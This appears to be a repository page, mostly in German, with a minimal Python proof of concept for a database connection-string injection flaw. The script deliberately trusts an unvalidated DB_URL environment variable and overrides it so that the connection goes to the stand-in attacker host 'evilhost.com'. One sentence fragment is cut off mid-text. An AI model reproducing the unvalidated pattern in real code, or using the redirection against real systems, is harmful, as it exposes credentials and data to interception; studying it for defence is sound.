george0papasotiriou/cve-2026-11115-database-connection-string-injection-via-env-variableMinimaler Python-Proof-of-Concept für CVE-2026-11115, der die Injection von Datenbank-Verbindungszeichenfolgen über Umgebungsvariablen und die Umleitung auf angreiferkontrollierte PostgreSQL-Hosts demonstriert.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
Eine Anwendung erstellt ihren Datenbank-Verbindungsstring aus einer Umgebungsvariable ohne Validierung. Wenn ein Angreifer diese Variable beeinflussen kann (z. B. über Server-Side Request Forgery oder eine Fehlkonfiguration der CI/CD-Pipeline), kann er die Datenbankverbindung auf seinen eigenen Server umleiten und Daten abfangen oder verändern.
host) können angehängt werden, um den ursprünglichen Host zu überschreiben.Führen Sie die Simulation aus:
pip install psycopg2-binary
python db_connector.py
Das Programm versucht, sich anstelle von localhost mit evilhost.com zu verbinden.